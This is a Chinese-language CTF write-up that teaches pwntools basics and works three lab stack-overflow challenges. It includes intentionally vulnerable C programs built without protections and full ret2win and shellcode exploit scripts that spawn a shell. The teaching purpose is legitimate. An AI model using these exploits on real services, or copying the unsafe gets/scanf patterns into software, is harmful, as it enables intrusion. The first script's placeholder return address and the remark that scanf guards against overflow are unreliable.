pwntools库

可以用python中的pip安装。常见函数区别

1
2
3
4
5
6
7
8
p32()32位整数转换为4字节的二进制表示形式
p64()将64位整数转换为8字节2进制表示
process()连接本地
remote('ip',port)连接远程
ELF.symbols()获取elf文件中符号表信息的函数
elf.symbols[‘main’]将会返回指向main函数的地址
recvuntil(str)就是接收data一直到特殊的str出现//recvuntil("123")
interactive()让我们进行交互式shell

需要注意的是,p32()p64()函数是按照机器的大小端模式(endianness)来生成二进制表示形式的。在大多数x86架构的系统中,使用小端模式(little-endian)来存储数据,因此生成的二进制表示形式是小端模式的。如果要在大端模式(big-endian)系统上使用这些函数,可能需要使用pack()函数来指定字节顺序。

1
2
p32(0x01020304)存入内存中其实就变成
b'\x04\x03\x02\x01'因为后面的是大地址(详细的可以见汇编,我把图截一张放下面)

image-20230407101552672

所以什么是大小端来着?

小端:低位字节存储在低地址端,高位字节存储在高地址端。(x86架构都是小端)

在二进制漏洞利用中,需要根据目标计算机的大小端模式来构造正确的二进制数据。例如,如果目标计算机采用小端模式,那么需要将数据以小端的顺序进行存储和发送,否则数据会被解析错误,导致漏洞利用失败。

解码byte到ascii然后转字符的python用法

1
b“Byte string to decode”.decode(“utf-8”)

下面看另一个函数

1
2
pwn cyclic 100按照特定的规律生成100个带循环的随机字节,每个循环节按照递增的顺序排列。
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

或者用python

1
2
3
4
5
6
7
from pwn import *

# 生成一个长度为 100 的循环字节序列,每个循环节大小为 4
cyclic = cyclic(100, n=4)

# 输出生成的循环字节序列
print(cyclic)

我们可以查找其中的特定序列的位置!

1
2
pwn cyclic  -l 0x61616173
72

也就是表明我们可以控制输入缓冲区的72的偏移地址,也就是第73个字节,是我们可以控制输入的。

在上面的例子中,由于使用pwn cyclic生成的循环字节序列中包含了特定的模式0x61616173,可以使用该模式在循环字节序列中定位出某个特定的位置。该位置可以用来计算出攻击者可以控制的内存地址相对于输入缓冲区的偏移量,即偏移量为72个字节。

攻击者可以利用该偏移量构造恶意输入数据,将恶意数据输入到程序中,从而修改被攻击的内存地址的值,以实现漏洞利用。(构造shellcode)

我们来看一个实际例子

1
pwn template --host "1.2.3.4" --port 9001 /opt/wk7_pwn/pwn1/pwn1

pwn template是pwn工具集中的一个命令,用于生成一个基本的CTF pwn脚本模板。--host "1.2.3.4"参数指定要连接的远程主机的IP地址,--port 9001参数指定要连接的远程主机的端口号。/opt/wk7_pwn/pwn1/pwn1是要攻击的二进制文件的路径。

我们看题目

第一题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

// gcc -m64 -g -w -o pwn1 -fno-stack-protector -no-pie pwn1.c
// 32 bit is less reliable - doesn't catch all segfaults for some reason
// /usr/bin/socat -dd TCP4-LISTEN:9001,fork,reuseaddr EXEC:/home/pwn1/pwn1,pty,echo=0,raw,iexten=0 &

void vuln() {
printf("Uh oh I forgot to check my bounds! Here's a shell for your troubles\n");
system("/bin/sh");
exit(0);
}

void setup() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

int main(int argc, char **argv) {
setup();
char buffer[64];
signal(SIGSEGV, vuln);
printf("What is your name?\n");
scanf("%s", &buffer);
printf("Hello %s!\n", buffer);
return 0;
}

这是一个简单的栈溢出。

我们先来解释一下setvbuf()。用于设置流的缓冲区类型,包括打开/关闭缓冲区,设置缓冲区的大小和类型等等。这里面stdout和stdin被设置为无缓冲类型,也就是数据一旦进入输入输出流立即输出

对于这个函数,它的详细解释如下:

1
int setvbuf(FILE *stream, char *buf, int mode, size_t size);

我们的第二个参数是缓冲区指针,如果为null或者0,则自动分配缓冲区。

第三个参数为缓冲区类型mode,可以是以下常量之一:

_IONBF:无缓冲区,直接输出

_IOLBF:行缓冲区,遇到 ‘\n’ 时输出

_IOFBF:全缓冲区,缓冲区填满后才输出

第四个参数size为缓冲区大小。

所以我们这里可以理解

1
setvbuf(stdin,0,2,0)其实就是设置缓冲区,但是缓冲区大小为0,这样比较保险。主要是因为对于一些系统来说,即使缓冲区大小为0,也不一定是没有缓冲机制的,这可能会导致不可预期的结果。

所以这里我们可以用

1
echo -e "a\n$(python -c 'print("a" * 72 + "\xb6\x05\x40\x00\x00\x00\x00\x00")')\n" | nc localhost 9001

或者python如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
import pwn

bin = ELF('./pwn1')
vuln_addr = bin.symbols['vuln']
print(vuln_addr)
# def p64(num):
# return num.to_bytes(8, byteorder='little', signed=False)
# def p32(num):
# return num.to_bytes(8, byteorder='little', signed=False)
host = '127.0.0.1'
port = 9001

p = remote(host, port)
#先打通本地,也就是
#p = process(./pwn1)

payload = b'a' * 72
payload += pwn.p64(0x01020304)#vuln的地址
print(payload)
p.sendline(payload)
p.interactive()

在这里首先我们获取elf也就是查看这个二进制文件的信息,然后我们获取vuln函数的地址。

之后因为我们知道定义的栈的大小为64个字节,而64字节之后的8个字节为返回函数的地址(也就是返回之后下一条指令的地址)。所以我们应该填满72个字节以覆盖掉原来执行的下一跳地址。覆盖掉之后,因为我们输入的话,入栈的过程是从高地址向低地址入栈,但是也会让低位数先入栈,最后也就是达到高位数在高地址,低位数在低地址。比如

0x01020304入栈的时候0304入栈就会变成04在低地址,03在高地址,所以我们只需要把要跳转的恶意函数的地址放到最后8个字节即可!它会专门找到最后八个字节并且认为这就是下一跳的地址!

第二题

先来普及一下scanf()以及gets()这类不安全函数的解释和区别

gets()scanf() 都是用于读取用户输入的函数,但是它们有一些重要的区别。

gets() 函数会读取用户输入的一整行数据,并将其存储在指定的缓冲区中,但是它没有任何限制,这意味着它可以读取比缓冲区更大的数据,这会导致缓冲区溢出和安全漏洞。

scanf() 函数可以读取格式化的数据,但是它会根据指定的格式化字符串限制读取的数据大小,这意味着它可以有效地防止缓冲区溢出。但是,如果格式化字符串不正确或不安全,scanf() 仍然存在安全漏洞。

因此,在实际使用中,建议使用 fgets() 来代替 gets(),使用 scanf() 的时候,要注意输入数据的格式,并且应该使用限制读取大小的方式,比如使用 %Ns 指定读取长度为 N 的字符串,而不是使用 %s

我们看到c语言代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

// gcc -m32 -g -w -o pwn2 -fno-stack-protector -no-pie pwn2.c
// /usr/bin/socat -dd TCP4-LISTEN:9002,fork,reuseaddr EXEC:/home/pwn2/pwn2,pty,echo=0,raw,iexten=0 &
// install libc6-i386 to get the 32 bit libraries necessary to run in 32 bit mode

void win() {
printf("ez sh3llz\n");
system("/bin/sh");
exit(0);
}

void vuln() {
char buffer[64];
printf("How good is GDB?\n");
gets(&buffer);
}

void setup() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

int main(int argc, char **argv) {
setup();
vuln();
printf("That's not good enough!\n");
return 0;
}

也是一个栈溢出问题但是我们需要看到缓冲区大小,也就是查看vuln的反汇编代码,如下

1
2
3
首先gdb ./pwn2
然后disass vuln即可查看vuln的汇编函数
或者可以用objdump -d pwn2 | grep -A 20 "vuln"查看vuln定义处以及后20行。

这里注意objdump相当于ida,查看反汇编。gdb有调试功能,可以单步调试程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Dump of assembler code for function vuln:
0x0804925a <+0>: endbr32
0x0804925e <+4>: push %ebp
0x0804925f <+5>: mov %esp,%ebp
0x08049261 <+7>: push %ebx
0x08049262 <+8>: sub $0x44,%esp
0x08049265 <+11>: call 0x8049150 <__x86.get_pc_thunk.bx>
0x0804926a <+16>: add $0x2d96,%ebx
0x08049270 <+22>: sub $0xc,%esp
0x08049273 <+25>: lea -0x1fe6(%ebx),%eax
0x08049279 <+31>: push %eax
0x0804927a <+32>: call 0x80490b0 <puts@plt>
0x0804927f <+37>: add $0x10,%esp
0x08049282 <+40>: sub $0xc,%esp
0x08049285 <+43>: lea -0x48(%ebp),%eax
0x08049288 <+46>: push %eax
0x08049289 <+47>: call 0x80490a0 <gets@plt>
0x0804928e <+52>: add $0x10,%esp
0x08049291 <+55>: nop
0x08049292 <+56>: mov -0x4(%ebp),%ebx
0x08049295 <+59>: leave
0x08049296 <+60>: ret

我们发现

1
lea    -0x48(%ebp),%eax是留给buffer的,也就是72个字节!

而我们知道这是32位机器,并且看到

1
mov    -0x4(%ebp),%ebx#是用来指导我们返回地址4个字节。

所以我们需要覆盖76个字节!然后就可以输入我们自己4个字节的返回地址,将其设置为win()函数getshell

所以我们的题解应该为

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
import pwn
#注意这是32位机器
bin = ELF('./pwn2')
win_addr = bin.symbols['win']
print(win_addr)

p = process('./pwn2')
offset = 76
payload = b'a' * 76 + pwn.p32(win_addr)
p.send(payload)
p.interactive()

就可以成功getshell。

第三题—shellcode的使用

我们查看c语言代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>

// gcc -m32 -g -w -o pwn3 -fno-stack-protector -z execstack pwn3.c
// /usr/bin/socat -dd TCP4-LISTEN:9003,fork,reuseaddr EXEC:/home/pwn3/pwn3,pty,echo=0,raw,iexten=0 &
// install libc6-i386 to get the 32 bit libraries necessary to run in 32 bit mode

void vuln() {
char buffer[64];
printf("What is your favourite shellcode?\n");
printf("Hint: the address of buffer is: %08x\n", buffer);
gets(&buffer);
}

void setup() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
}

int main(int argc, char **argv) {
setup();
vuln();
printf("That's not good enough!\n");
return 0;
}

可以看到和之前没有什么区别,只不过此题考查shellcode,我们需要自己构造一个类似刚才win的函数,不过我们得构造成机器码形式,放到执行过程中去恶意执行。

下面是我们的exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import pwn
from pwn import *

# host = ""
# port = 9003
# p = remote(host, port)
p = process('./pwn3')
print(p.recvuntil("Hint: the address of buffer is: "))
buffer_addr = int(p.recvline().strip(), 16)
print(buffer_addr)
shellcode = asm(shellcraft.i386.linux.sh())
print(shellcode)
payload = b'a' * 76 + pwn.p32(buffer_addr) + shellcode#因为这里没有要跳转的函数了,所以需要我们自己恶意执行函数
p.sendline(payload)
p.interactive()#成功getshell

本地很容易就打通了,我们可以再来尝试远程。

同样地方式我们使用

1
objdump -d ./pwn3 | grep -A 30 "vuln"

查看vuln的缓冲区设置以及返回地址设置,只不过本题buffer的地址是变的,我们要实时获取,放到payload之中。